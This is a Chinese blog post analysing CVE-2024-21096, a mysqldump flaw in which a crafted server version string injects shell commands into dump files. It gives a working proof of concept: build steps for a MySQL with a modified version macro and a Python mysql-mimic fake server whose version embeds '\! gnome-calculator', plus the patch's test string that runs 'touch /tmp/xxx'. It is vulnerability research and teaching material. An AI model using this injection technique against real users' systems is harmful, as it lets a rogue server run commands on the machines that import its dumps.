CVE-2024-21096 MySQLDump提权漏洞解析

admin 2024年9月21日22:59:08评论10 views字数 4115阅读13分43秒阅读模式

一、简介

CVE-2024-21096是一个影响Oracle MySQL Server的中等严重性漏洞,具体涉及其mysqldump组件。未经认证的攻击者如果成功利用该漏洞,可能会对MySQL Server的数据进行未授权的修改(如更新、插入或删除),并能够读取部分可访问的数据。此外,攻击可能还会引发部分拒绝服务(partial DOS)。由于该漏洞只能在本地环境下被利用,利用条件相对有限,并且复杂性较高,主要影响MySQL Server 8.0.0至8.0.36版本。

二、漏洞原理 

mysqldump 是 MySQL 的一个实用工具,它能够将 MySQL 数据库的数据和结构导出为一个文本文件,通常为 SQL 格式。导出的 SQL 文件包含了用于创建表和插入数据的 SQL 语句,因此可以用来执行以下操作:

  1. 备份数据库:可以保存数据库的快照,方便在数据丢失或损坏时恢复。

  2. 迁移数据:将数据库从一个服务器迁移到另一个服务器。

  3. 重建数据库:在另一台 MySQL 服务器上重新创建和恢复数据库。

使用 mysqldump 导出 MySQL 数据库中的某个数据库,可以在 MySQL Server 本地通过以下命令进行操作:

mysqldump -u [用户名] -p[密码] [数据库名] > [导出文件路径].sql

  • [用户名]:MySQL 数据库的用户名

  • [密码]:MySQL 数据库的密码(与 -p 紧密相连,无需空格)

  • [数据库名]:要导出的数据库名称

  • [导出文件路径].sql:导出文件的存储路径及文件名(通常为 .sql 文件)

其中username是用户名,database_name是待导出的数据库名称,导出之后得到dumpfile.sql文件。导出后的SQL文件可以使用mysql命令执行导入操作,比如:

mysql -u username -p database_name < /path/to/dumpfile.sql

mysqldump 工具在执行导出和导入操作时,会将数据库中的数据和结构解析为 SQL 语句,再通过执行这些 SQL 语句来重建数据库。然而,问题出在 mysqldump 在接收 MySQL Server 的信息时,未对一些元信息(meta command)进行充分的净化处理。攻击者可以借此构造恶意的元信息,使其在通过 mysqldump 导出时嵌入到 SQL 文件中。

一旦这些带有恶意元信息的 SQL 文件被导入到其他 MySQL 服务器上,便可能执行恶意代码,从而给系统带来风险。

2024年2月22日发布的漏洞修复中,MySQL 修正了这一问题。修复主要集中在对导出的元信息进行严格的校验与过滤,防止攻击者在 mysqldump 导出过程中注入恶意元信息。要了解具体修复措施,可以通过查看修复时的代码变更细节,确认该漏洞的解决方式。

CVE-2024-21096 MySQLDump提权漏洞解析

在之前的版本(8.0.36)中,可以看到mysqldump在处理MySQL版本信息时只是通过mysql_get_server_info(&mysql_connection)获得版本信息并输出,而漏洞补丁中去除了这段代码,增加了get_safe_server_info函数,该函数中做了两个主要的变更:

  1. 通过SERVER_VERSION_LENGTH宏定义的60个字符限制版本信息的长度;

  2. 检查版本信息中是否存在非法字符(非字符或标点服务),如果存在则抛弃非法字符并返回版本信息。

另外,在补丁中还可以看到为了测试补丁用到的测试攻击版本信息,即DBUG_EXECUTE_IF部分中的:

8.0.0-injection_testn\! touch /tmp/xxx

三、漏洞利用 

根据上述漏洞的原理,攻击者可以利用 MySQL 的服务版本信息注入恶意代码。当包含服务版本信息的 SQL 文件通过 mysqldump 导出并由 MySQL 执行时,恶意代码便有机会运行。然而,由于 mysqldumpmysql 命令联合执行或直接通过 SQL 文件执行的场景较为罕见,这使得 CVE-2024-21096 漏洞的实际利用率较低。因此,该漏洞的 CVSS评分为4.9,其中可利用性分数仅为1.4。

漏洞利用的主要难点在于 MySQL 的版本信息是一个只读变量,无法通过常规 MySQL 配置进行修改。要实现版本信息的修改,唯一可行的方式是重新编译 MySQL 源代码。在编译过程中,攻击者可以通过修改 MySQL 源代码中 /include/mysql_version.h 文件的 MYSQL_SERVER_VERSION 宏定义来植入恶意信息。例如:

CVE-2024-21096 MySQLDump提权漏洞解析

我们以8.0.34版本为例,通过手动修改版本信息,并编译MySQL,编译过程如下:

sudo apt-get updatesudo apt-get install build-essential cmake libncurses5-dev bison libssl-dev pkg-config wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.34.tar.gztar xzvf mysql-8.0.34.tar.gzcd mysql-8.0.34 mkdir buildcd buildcmake .. -DDOWNLOAD_BOOST=1 -DWITH_BOOST=.. makesudo make install

上述命令执行完毕后,MySQL即编译安装完成,接下来是初始化MySQL数据库:

sudo /usr/local/mysql/bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data

初始化期间会随机生成MySQL的root账户口令,重置口令之后通过show variables查看服务版本即可发现版本信息是修改后的内容:

CVE-2024-21096 MySQLDump提权漏洞解析

假设受害者通过mysqldump连接上面修改版本信息之后的攻击机:

mysqldump -h 192.168.2.217 -urepoog -p mysql

执行上述命令后即可看到版本信息是修改之后的内容:

CVE-2024-21096 MySQLDump提权漏洞解析

在执行数据库导出和导入操作之后,版本信息中的命令就会得到执行,比如下面的命令:mysqldump -h 192.168.2.217 -urepoog -p pwndb | msyql -h 192.168.2.217 -urepoog -p pwndb_imp

CVE-2024-21096 MySQLDump提权漏洞解析

当然,除了手动编译 MySQL 之外,还可以使用高交互的 MySQL 蜜罐项目进行更为简便的配置与修改,比如使用 mysql-mimic 项目。mysql-mimic 是一个用 Python 编写的轻量级工具,能够模拟 MySQL 数据库的行为与协议,而无需实际运行 MySQL 数据库。它常用于在没有 MySQL 实际环境的情况下进行 MySQL 测试。

在蜜罐机上,可以基于 mysql-mimic 库编写并运行以下代码,以设置 MySQL 的服务版本信息:

import loggingimport asynciofrom sqlglot.executor import execute from mysql_mimic import MysqlServer, Sessionfrom mysql_mimic.variables import GlobalVariables  SCHEMA = {    "test": {        "x": {            "a": "INT",        }    }} TABLES = {    "test": {        "x": [            {"a": 1},            {"a": 2},            {"a": 3},        ]    }} class MyVariables(GlobalVariables):    def __init__(self):        super().__init__()        self.set("version", "8.0.0-injection-testn\! gnome-calculator", True) class MySession(Session):    def __init__(self):        super().__init__()        self.variables = MyVariables()        self._functions["VERSION"] = "8.1.1"     async def query(self, expression, sql, attrs):        result = execute(expression, schema=SCHEMA, tables=TABLES)        return result.rows, result.columns     async def schema(self):        return SCHEMA  async def main():    logging.basicConfig(level=logging.DEBUG)    server = MysqlServer(session_factory=MySession)    await server.serve_forever()  if __name__ == "__main__":    asyncio.run(main())

上述程序中设计的服务版本信息是8.0.0-injection-testn\! gnome-calculator,蜜罐机的IP地址是172.23.189.209,攻击者(也是受害者)如果通过资产探测扫描到MySQL蜜罐,并通过mysqldump企图做数据库导出和导入,则会出现下图中的效果(弹出计算器)。

CVE-2024-21096 MySQLDump提权漏洞解析

我们红岸基地网安教学,只有两个老师、一个是赵小龙老师、一个是陈师傅。可以联系微信:Changethe_one,只要你提供目前的现状与学历,陈老师可以免费帮大家做职业规划。

Changethe_one

原文始发于微信公众号(暗影网安实验室):CVE-2024-21096 MySQLDump提权漏洞解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月21日22:59:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-21096 MySQLDump提权漏洞解析https://cn-sec.com/archives/3186009.html

发表评论

匿名网友 填写信息